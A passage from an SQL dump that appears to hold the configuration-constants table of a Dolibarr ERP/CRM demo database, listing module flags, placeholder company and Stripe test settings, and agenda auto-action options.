11:14:54'),(7265,'MAIN_INFO_ACCOUNTANT_TOWN',1,'Berlin','chaine',0,'','2019-12-19 11:14:54'),(7266,'MAIN_INFO_ACCOUNTANT_STATE',1,'0','chaine',0,'','2019-12-19 11:14:54'),(7267,'MAIN_INFO_ACCOUNTANT_COUNTRY',1,'5','chaine',0,'','2019-12-19 11:14:54'),(7268,'MAIN_INFO_ACCOUNTANT_MAIL',1,'mybookkeeper@example.com','chaine',0,'','2019-12-19 11:14:54'),(7313,'MODULEBUILDER_ASCIIDOCTOR',1,'asciidoctor','chaine',0,'','2019-12-20 10:57:21'),(7314,'MODULEBUILDER_ASCIIDOCTORPDF',1,'asciidoctor-pdf','chaine',0,'','2019-12-20 10:57:21'),(7337,'EXTERNAL_RSS_TITLE_1',1,'Dolibarr.org News','chaine',0,'','2019-12-20 12:10:38'),(7338,'EXTERNAL_RSS_URLRSS_1',1,'https://www.dolibarr.org/rss','chaine',0,'','2019-12-20 12:10:38'),(7339,'EXPENSEREPORT_ADDON',1,'mod_expensereport_jade','chaine',0,'','2019-12-20 16:33:46'),(7378,'COMPANY_USE_SEARCH_TO_SELECT',1,'0','chaine',0,'','2019-12-21 15:54:22'),(7420,'CASHDESK_SERVICES',1,'0','chaine',0,'','2019-12-23 12:15:06'),(7421,'TAKEPOS_ROOT_CATEGORY_ID',1,'31','chaine',0,'','2019-12-23 12:15:06'),(7422,'TAKEPOSCONNECTOR',1,'0','chaine',0,'','2019-12-23 12:15:06'),(7423,'TAKEPOS_BAR_RESTAURANT',1,'0','chaine',0,'','2019-12-23 12:15:06'),(7424,'TAKEPOS_TICKET_VAT_GROUPPED',1,'0','chaine',0,'','2019-12-23 12:15:06'),(7425,'TAKEPOS_AUTO_PRINT_TICKETS',1,'0','int',0,'','2019-12-23 12:15:06'),(7426,'TAKEPOS_NUMPAD',1,'0','chaine',0,'','2019-12-23 12:15:06'),(7427,'TAKEPOS_NUM_TERMINALS',1,'1','chaine',0,'','2019-12-23 12:15:06'),(7428,'TAKEPOS_DIRECT_PAYMENT',1,'0','int',0,'','2019-12-23 12:15:06'),(7429,'TAKEPOS_CUSTOM_RECEIPT',1,'0','int',0,'','2019-12-23 12:15:06'),(7430,'TAKEPOS_EMAIL_TEMPLATE_INVOICE',1,'-1','chaine',0,'','2019-12-23 12:15:06'),(7452,'MEMBER_ENABLE_PUBLIC',1,'1','chaine',0,'','2020-01-01 10:31:46'),(7453,'MEMBER_NEWFORM_AMOUNT',1,'20','chaine',0,'','2020-01-01 10:31:46'),(7454,'MEMBER_NEWFORM_EDITAMOUNT',1,'0','chaine',0,'','2020-01-01 10:31:46'),(7455,'MEMBER_NEWFORM_PAYONLINE',1,'all','chaine',0,'','2020-01-01 10:31:46'),(7456,'MEMBER_NEWFORM_FORCETYPE',1,'1','chaine',0,'','2020-01-01 10:31:46'),(7470,'STRIPE_TEST_PUBLISHABLE_KEY',1,'pk_test_123456789','chaine',0,'','2020-01-01 11:43:44'),(7471,'STRIPE_TEST_SECRET_KEY',1,'sk_test_123456','chaine',0,'','2020-01-01 11:43:44'),(7472,'STRIPE_BANK_ACCOUNT_FOR_PAYMENTS',1,'4','chaine',0,'','2020-01-01 11:43:44'),(7473,'STRIPE_USER_ACCOUNT_FOR_ACTIONS',1,'1','chaine',0,'','2020-01-01 11:43:44'),(7489,'CAPTURESERVER_SECURITY_KEY',1,'securitykey123','chaine',0,'','2020-01-01 12:00:49'),(8136,'MAIN_AGENDA_ACTIONAUTO_EXPENSE_DELETE',1,'1','chaine',0,'','2020-01-02 19:56:28'),(8190,'ACCOUNTING_PRODUCT_MODE',1,'ACCOUNTANCY_SELL_EXPORT','chaine',0,'','2020-01-06 01:23:30'),(8191,'MAIN_ENABLE_DEFAULT_VALUES',1,'1','chaine',0,'','2020-01-06 16:09:52'),(8210,'CABINETMED_RHEUMATOLOGY_ON',1,'0','texte',0,'','2020-01-06 16:51:43'),(8213,'MAIN_SEARCHFORM_SOCIETE',1,'1','texte',0,'','2020-01-06 16:51:43'),(8214,'CABINETMED_BANK_PATIENT_REQUIRED',1,'0','texte',0,'','2020-01-06 16:51:43'),(8215,'DIAGNOSTIC_IS_NOT_MANDATORY',1,'1','texte',0,'','2020-01-06 16:51:43'),(8216,'USER_ADDON_PDF_ODT',1,'generic_user_odt','chaine',0,'','2020-01-07 13:45:19'),(8217,'USERGROUP_ADDON_PDF_ODT',1,'generic_usergroup_odt','chaine',0,'','2020-01-07 13:45:23'),(8230,'MAIN_MODULE_EMAILCOLLECTOR',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-01-12 20:13:55'),(8232,'MAIN_MODULE_SUPPLIERPROPOSAL',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-01-13 14:37:09'),(8233,'MAIN_MODULE_EXPEDITION',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-01-13 14:38:20'),(8252,'SYSTEMTOOLS_MYSQLDUMP',1,'/usr/bin/mysqldump','chaine',0,'','2020-01-15 15:42:41'),(8259,'ACCOUNTING_REEXPORT',1,'1','yesno',0,'','2020-01-17 13:42:56'),(8291,'PRODUIT_MULTIPRICES_LIMIT',1,'5','chaine',0,'','2020-01-17 14:21:46'),(8293,'PRODUIT_CUSTOMER_PRICES_BY_QTY',1,'0','chaine',0,'','2020-01-17 14:21:46'),(8303,'PRODUCT_PRICE_UNIQ',1,'0','chaine',0,'','2020-01-17 14:25:30'),(8304,'PRODUIT_MULTIPRICES',1,'0','chaine',0,'','2020-01-17 14:25:30'),(8305,'PRODUIT_CUSTOMER_PRICES',1,'1','chaine',0,'','2020-01-17 14:25:30'),(8306,'PRODUIT_SOUSPRODUITS',1,'0','chaine',0,'','2020-01-17 14:25:30'),(8307,'PRODUIT_DESC_IN_FORM',1,'0','chaine',0,'','2020-01-17 14:25:30'),(8308,'PRODUIT_TEXTS_IN_THIRDPARTY_LANGUAGE',1,'0','chaine',0,'','2020-01-17 14:25:30'),(8309,'PRODUIT_USE_SEARCH_TO_SELECT',1,'1','chaine',0,'','2020-01-17 14:25:30'),(8310,'PRODUIT_FOURN_TEXTS',1,'0','chaine',0,'','2020-01-17 14:25:30'),(8313,'MAIN_MODULE_FCKEDITOR',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-01-18 17:13:27'),(8314,'FCKEDITOR_ENABLE_TICKET',1,'1','chaine',0,'','2020-01-18 19:39:54'),(8321,'FCKEDITOR_SKIN',1,'moono-lisa','chaine',0,'','2020-01-18 19:41:15'),(8322,'FCKEDITOR_TEST',1,'Test < aaa
\r\n
\r\n\"\"','chaine',0,'','2020-01-18 19:41:15'),(8486,'MAIN_MULTILANGS',1,'1','chaine',0,'','2020-01-21 09:40:00'),(8491,'MAIN_DISABLE_JAVASCRIPT',1,'0','chaine',0,'','2020-01-21 09:40:00'),(8492,'MAIN_BUTTON_HIDE_UNAUTHORIZED',1,'0','chaine',0,'','2020-01-21 09:40:00'),(8496,'MAIN_SHOW_LOGO',1,'1','chaine',0,'','2020-01-21 09:40:00'),(8498,'MAIN_HELPCENTER_DISABLELINK',0,'0','chaine',0,'','2020-01-21 09:40:00'),(8501,'MAIN_BUGTRACK_ENABLELINK',1,'0','chaine',0,'','2020-01-21 09:40:00'),(8554,'MAIN_INFO_SOCIETE_FACEBOOK_URL',1,'dolibarr','chaine',0,'','2020-06-12 17:24:42'),(8555,'MAIN_INFO_SOCIETE_TWITTER_URL',1,'dolibarr','chaine',0,'','2020-06-12 17:24:42'),(8556,'MAIN_INFO_SOCIETE_LINKEDIN_URL',1,'https://www.linkedin.com/company/9400559/admin/','chaine',0,'','2020-06-12 17:24:42'),(8557,'MAIN_INFO_SOCIETE_INSTAGRAM_URL',1,'dolibarr','chaine',0,'','2020-06-12 17:24:42'),(8558,'MAIN_INFO_SOCIETE_YOUTUBE_URL',1,'DolibarrERPCRM','chaine',0,'','2020-06-12 17:24:42'),(8559,'MAIN_INFO_SOCIETE_GITHUB_URL',1,'dolibarr','chaine',0,'','2020-06-12 17:24:42'),(8577,'PRODUCT_PRICE_BASE_TYPE',0,'HT','string',0,NULL,'2020-12-10 12:24:38'),(8612,'MAIN_UPLOAD_DOC',1,'50000','chaine',0,'','2020-12-10 12:26:31'),(8613,'MAIN_UMASK',1,'0664','chaine',0,'','2020-12-10 12:26:31'),(8614,'MAIN_ANTIVIRUS_PARAM',1,'--fdpass','chaine',0,'','2020-12-10 12:26:31'),(8619,'WEBSITE_EDITINLINE',1,'0','chaine',0,'','2020-12-10 12:27:05'),(8633,'MAIN_MODULE_RECEPTION',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-12-10 12:30:13'),(8634,'RECEPTION_ADDON_PDF',1,'squille','chaine',0,'Nom du gestionnaire de generation des bons receptions en PDF','2020-12-10 12:30:13'),(8635,'RECEPTION_ADDON_NUMBER',1,'mod_reception_beryl','chaine',0,'Name for numbering manager for receptions','2020-12-10 12:30:13'),(8636,'RECEPTION_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/receptions','chaine',0,NULL,'2020-12-10 12:30:13'),(8637,'MAIN_SUBMODULE_RECEPTION',1,'1','chaine',0,'Enable receptions','2020-12-10 12:30:13'),(8638,'MAIN_MODULE_PAYMENTBYBANKTRANSFER',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-12-10 12:30:17'),(8640,'MAIN_MODULE_MARGIN_TABS_0',1,'product:+margin:Margins:margins:$user->rights->margins->liretous:/margin/tabs/productMargins.php?id=__ID__','chaine',0,NULL,'2020-12-10 12:30:20'),(8641,'MAIN_MODULE_MARGIN_TABS_1',1,'thirdparty:+margin:Margins:margins:empty($user->socid) && $user->rights->margins->liretous && ($object->client > 0):/margin/tabs/thirdpartyMargins.php?socid=__ID__','chaine',0,NULL,'2020-12-10 12:30:20'),(8644,'MAIN_MODULE_INCOTERM',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-12-10 12:31:36'),(8645,'INCOTERM_ACTIVATE',1,'','chaine',0,'Description de INCOTERM_ACTIVATE','2020-12-10 12:31:36'),(8715,'SYSLOG_LEVEL',0,'5','chaine',0,'','2021-04-15 10:34:05'),(8716,'MAIN_SECURITY_HASH_ALGO',1,'password_hash','chaine',1,'','2021-04-15 10:38:33'),(8717,'MAIN_INFO_SOCIETE_COUNTRY',1,'117:IN:India','chaine',0,'','2021-04-15 10:46:30'),(8718,'MAIN_INFO_SOCIETE_NOM',1,'MyBigCompany','chaine',0,'','2021-04-15 10:46:30'),(8719,'MAIN_INFO_SOCIETE_ADDRESS',1,'21 Jump street.','chaine',0,'','2021-04-15 10:46:30'),(8720,'MAIN_INFO_SOCIETE_TOWN',1,'MyTown','chaine',0,'','2021-04-15 10:46:30'),(8721,'MAIN_INFO_SOCIETE_ZIP',1,'75500','chaine',0,'','2021-04-15 10:46:30'),(8722,'MAIN_MONNAIE',1,'EUR','chaine',0,'','2021-04-15 10:46:30'),(8723,'MAIN_INFO_SOCIETE_TEL',1,'09123123','chaine',0,'','2021-04-15 10:46:30'),(8724,'MAIN_INFO_SOCIETE_FAX',1,'09123124','chaine',0,'','2021-04-15 10:46:30'),(8725,'MAIN_INFO_SOCIETE_MAIL',1,'myemail@mybigcompany.com','chaine',0,'','2021-04-15 10:46:30'),(8726,'MAIN_INFO_SOCIETE_WEB',1,'https://www.dolibarr.org','chaine',0,'','2021-04-15 10:46:30'),(8727,'MAIN_INFO_SOCIETE_NOTE',1,'This is note about my company','chaine',0,'','2021-04-15 10:46:30'),(8728,'MAIN_INFO_SOCIETE_LOGO_SQUARRED',1,'mybigcompany_squarred.png','chaine',0,'','2021-04-15 10:46:30'),(8729,'MAIN_INFO_SOCIETE_LOGO_SQUARRED_SMALL',1,'mybigcompany_squarred_small.png','chaine',0,'','2021-04-15 10:46:30'),(8730,'MAIN_INFO_SOCIETE_LOGO_SQUARRED_MINI',1,'mybigcompany_squarred_mini.png','chaine',0,'','2021-04-15 10:46:30'),(8731,'MAIN_INFO_SOCIETE_MANAGERS',1,'Zack Zeceo','chaine',0,'','2021-04-15 10:46:30'),(8732,'MAIN_INFO_GDPR',1,'Zack Zeceo','chaine',0,'','2021-04-15 10:46:30'),(8733,'MAIN_INFO_CAPITAL',1,'10000','chaine',0,'','2021-04-15 10:46:30'),(8734,'MAIN_INFO_SOCIETE_FORME_JURIDIQUE',1,'0','chaine',0,'','2021-04-15 10:46:30'),(8735,'MAIN_INFO_SIREN',1,'123456','chaine',0,'','2021-04-15 10:46:30'),(8736,'MAIN_INFO_SIRET',1,'ABC-DEF','chaine',0,'','2021-04-15 10:46:30'),(8737,'MAIN_INFO_APE',1,'15E-45-8D','chaine',0,'','2021-04-15 10:46:30'),(8738,'MAIN_INFO_TVAINTRA',1,'FR12345678','chaine',0,'','2021-04-15 10:46:30'),(8739,'MAIN_INFO_SOCIETE_OBJECT',1,'A company demo to show how Dolibarr ERP CRM is wonderfull','chaine',0,'','2021-04-15 10:46:30'),(8740,'SOCIETE_FISCAL_MONTH_START',1,'4','chaine',0,'','2021-04-15 10:46:30'),(8741,'FACTURE_TVAOPTION',1,'1','chaine',0,'','2021-04-15 10:46:30'),(8742,'FACTURE_LOCAL_TAX1_OPTION',1,'localtax1on','chaine',0,'','2021-04-15 10:46:30'),(8743,'FACTURE_LOCAL_TAX2_OPTION',1,'localtax2on','chaine',0,'','2021-04-15 10:46:30'),(8744,'MAIN_INFO_VALUE_LOCALTAX1',1,'0','chaine',0,'','2021-04-15 10:46:30'),(8745,'MAIN_INFO_LOCALTAX_CALC1',1,'0','chaine',0,'','2021-04-15 10:46:30'),(8746,'MAIN_INFO_VALUE_LOCALTAX2',1,'0','chaine',0,'','2021-04-15 10:46:30'),(8747,'MAIN_INFO_LOCALTAX_CALC2',1,'0','chaine',0,'','2021-04-15 10:46:30'),(8759,'MAIN_LOGIN_BACKGROUND',1,'background_dolibarr.jpg','chaine',0,'','2021-04-15 10:54:37'),(8760,'MAIN_LANG_DEFAULT',1,'auto','chaine',0,'','2021-04-15 10:56:30'),(8762,'MAIN_THEME',1,'eldy','chaine',0,'','2021-04-15 10:56:30'),(8763,'THEME_ELDY_USE_HOVER',1,'237,244,251','chaine',0,'','2021-04-15 10:56:30'),(8764,'MAIN_SIZE_LISTE_LIMIT',1,'25','chaine',0,'','2021-04-15 10:56:30'),(8765,'MAIN_SIZE_SHORTLIST_LIMIT',1,'3','chaine',0,'','2021-04-15 10:56:30'),(8766,'MAIN_START_WEEK',1,'1','chaine',0,'','2021-04-15 10:56:30'),(8767,'MAIN_DEFAULT_WORKING_DAYS',1,'1-5','chaine',0,'','2021-04-15 10:56:30'),(8768,'MAIN_DEFAULT_WORKING_HOURS',1,'9-18','chaine',0,'','2021-04-15 10:56:30'),(8769,'MAIN_FIRSTNAME_NAME_POSITION',1,'0','chaine',0,'','2021-04-15 10:56:30'),(8770,'MAIN_HOME',1,'__(NoteSomeFeaturesAreDisabled)__
\r\n__(SomeTranslationAreUncomplete)__','chaine',0,'','2021-04-15 10:56:30'),(8771,'MAIN_FEATURES_LEVEL',0,'0','chaine',1,'Level of features to show (0=stable only, 1=stable+experimental, 2=stable+experimental+development','2021-04-15 11:46:30'),(8877,'AGENDA_REMINDER_BROWSER',1,'1','chaine',0,'','2021-04-15 13:32:29'),(9008,'MAIN_MODULE_KNOWLEDGEMANAGEMENT',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2022-02-07 13:39:27'),(9009,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_TRIGGERS',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9010,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_LOGIN',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9011,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_SUBSTITUTIONS',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9012,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_MENUS',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9013,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_TPL',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9014,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_BARCODE',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9015,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_MODELS',1,'1','chaine',0,NULL,'2022-02-07 13:39:27'),(9016,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_PRINTING',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9017,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_THEME',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9018,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_MODULEFOREXTERNAL',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9021,'WEBSITE_SUBCONTAINERSINLINE',1,'1','chaine',0,'','2022-02-07 13:57:11'),(9022,'PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT',1,'1','chaine',0,'','2022-02-07 14:17:28'),(9023,'PAYMENTBYBANKTRANSFER_USER',1,'13','chaine',0,'','2022-02-07 14:17:28'),(9025,'MAIN_MODULE_BLOCKEDLOG',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2022-02-07 14:32:50'),(9026,'MAIN_IHM_PARAMS_REV',1,'16','chaine',0,'','2022-02-07 14:32:50'),(9141,'MAIN_AGENDA_ACTIONAUTO_COMPANY_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9142,'MAIN_AGENDA_ACTIONAUTO_COMPANY_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9143,'MAIN_AGENDA_ACTIONAUTO_COMPANY_MODIFY',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9144,'MAIN_AGENDA_ACTIONAUTO_COMPANY_CREATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9145,'MAIN_AGENDA_ACTIONAUTO_PROPAL_CLOSE_SIGNED',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9146,'MAIN_AGENDA_ACTIONAUTO_PROPAL_CLOSE_REFUSED',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9147,'MAIN_AGENDA_ACTIONAUTO_PROPAL_CLASSIFY_BILLED',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9148,'MAIN_AGENDA_ACTIONAUTO_PROPAL_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9149,'MAIN_AGENDA_ACTIONAUTO_PROPAL_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9150,'MAIN_AGENDA_ACTIONAUTO_PROPAL_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9151,'MAIN_AGENDA_ACTIONAUTO_ORDER_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9152,'MAIN_AGENDA_ACTIONAUTO_ORDER_CLASSIFY_BILLED',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9153,'MAIN_AGENDA_ACTIONAUTO_ORDER_CLOSE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9154,'MAIN_AGENDA_ACTIONAUTO_ORDER_CANCEL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9155,'MAIN_AGENDA_ACTIONAUTO_ORDER_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9156,'MAIN_AGENDA_ACTIONAUTO_ORDER_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9157,'MAIN_AGENDA_ACTIONAUTO_BILL_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9158,'MAIN_AGENDA_ACTIONAUTO_BILL_PAYED',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9159,'MAIN_AGENDA_ACTIONAUTO_BILL_CANCEL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9160,'MAIN_AGENDA_ACTIONAUTO_BILL_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9161,'MAIN_AGENDA_ACTIONAUTO_BILL_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9162,'MAIN_AGENDA_ACTIONAUTO_PROPOSAL_SUPPLIER_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9163,'MAIN_AGENDA_ACTIONAUTO_PROPOSAL_SUPPLIER_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9164,'MAIN_AGENDA_ACTIONAUTO_PROPOSAL_SUPPLIER_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9165,'MAIN_AGENDA_ACTIONAUTO_PROPOSAL_SUPPLIER_CLOSE_SIGNED',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9166,'MAIN_AGENDA_ACTIONAUTO_PROPOSAL_SUPPLIER_CLOSE_REFUSED',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9167,'MAIN_AGENDA_ACTIONAUTO_BILL_UNVALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9168,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9169,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_CREATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9170,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_APPROVE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9171,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_SUBMIT',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9172,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_RECEIVE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9173,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_REFUSE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9174,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_CANCEL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9175,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_CLASSIFY_BILLED',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9176,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9177,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9178,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9179,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_UNVALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9180,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_PAYED',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9181,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_CANCELED',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9182,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9183,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9184,'MAIN_AGENDA_ACTIONAUTO_CONTRACT_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9185,'MAIN_AGENDA_ACTIONAUTO_CONTRACT_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9186,'MAIN_AGENDA_ACTIONAUTO_CONTRACT_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9187,'MAIN_AGENDA_ACTIONAUTO_FICHINTER_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9188,'MAIN_AGENDA_ACTIONAUTO_FICHINTER_REOPEN',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9189,'MAIN_AGENDA_ACTIONAUTO_FICHINTER_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9190,'MAIN_AGENDA_ACTIONAUTO_SHIPPING_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9191,'MAIN_AGENDA_ACTIONAUTO_SHIPPING_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9192,'MAIN_AGENDA_ACTIONAUTO_MEMBER_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9193,'MAIN_AGENDA_ACTIONAUTO_MEMBER_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9194,'MAIN_AGENDA_ACTIONAUTO_MEMBER_SUBSCRIPTION_CREATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9195,'MAIN_AGENDA_ACTIONAUTO_MEMBER_SUBSCRIPTION_MODIFY',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9196,'MAIN_AGENDA_ACTIONAUTO_MEMBER_SUBSCRIPTION_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9197,'MAIN_AGENDA_ACTIONAUTO_MEMBER_MODIFY',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9198,'MAIN_AGENDA_ACTIONAUTO_MEMBER_RESILIATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9199,'MAIN_AGENDA_ACTIONAUTO_MEMBER_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9200,'MAIN_AGENDA_ACTIONAUTO_MEMBER_EXCLUDE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9201,'MAIN_AGENDA_ACTIONAUTO_PRODUCT_CREATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9202,'MAIN_AGENDA_ACTIONAUTO_PRODUCT_MODIFY',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9203,'MAIN_AGENDA_ACTIONAUTO_PRODUCT_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9204,'MAIN_AGENDA_ACTIONAUTO_FICHINTER_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9205,'MAIN_AGENDA_ACTIONAUTO_TASK_CREATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9206,'MAIN_AGENDA_ACTIONAUTO_TASK_MODIFY',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9207,'MAIN_AGENDA_ACTIONAUTO_TASK_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9208,'MAIN_AGENDA_ACTIONAUTO_CONTACT_CREATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9209,'MAIN_AGENDA_ACTIONAUTO_CONTACT_MODIFY',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9210,'MAIN_AGENDA_ACTIONAUTO_CONTACT_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9211,'MAIN_AGENDA_ACTIONAUTO_CONTACT_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9212,'MAIN_AGENDA_ACTIONAUTO_PROJECT_CREATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9213,'MAIN_AGENDA_ACTIONAUTO_PROJECT_MODIFY',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9214,'MAIN_AGENDA_ACTIONAUTO_PROJECT_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9215,'MAIN_AGENDA_ACTIONAUTO_TICKET_CREATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9216,'MAIN_AGENDA_ACTIONAUTO_TICKET_MODIFY',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9217,'MAIN_AGENDA_ACTIONAUTO_TICKET_ASSIGNED',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9218,'MAIN_AGENDA_ACTIONAUTO_TICKET_CLOSE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9219,'MAIN_AGENDA_ACTIONAUTO_TICKET_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9220,'MAIN_AGENDA_ACTIONAUTO_TICKET_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9221,'MAIN_AGENDA_ACTIONAUTO_EXPENSE_REPORT_CREATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9222,'MAIN_AGENDA_ACTIONAUTO_EXPENSE_REPORT_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9223,'MAIN_AGENDA_ACTIONAUTO_EXPENSE_REPORT_APPROVE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9224,'MAIN_AGENDA_ACTIONAUTO_EXPENSE_REPORT_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9225,'MAIN_AGENDA_ACTIONAUTO_EXPENSE_REPORT_PAID',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9226,'MAIN_AGENDA_ACTIONAUTO_HOLIDAY_CREATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9227,'MAIN_AGENDA_ACTIONAUTO_HOLIDAY_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9228,'MAIN_AGENDA_ACTIONAUTO_HOLIDAY_APPROVE',1,'1','chaine',0,'','2022-02-07 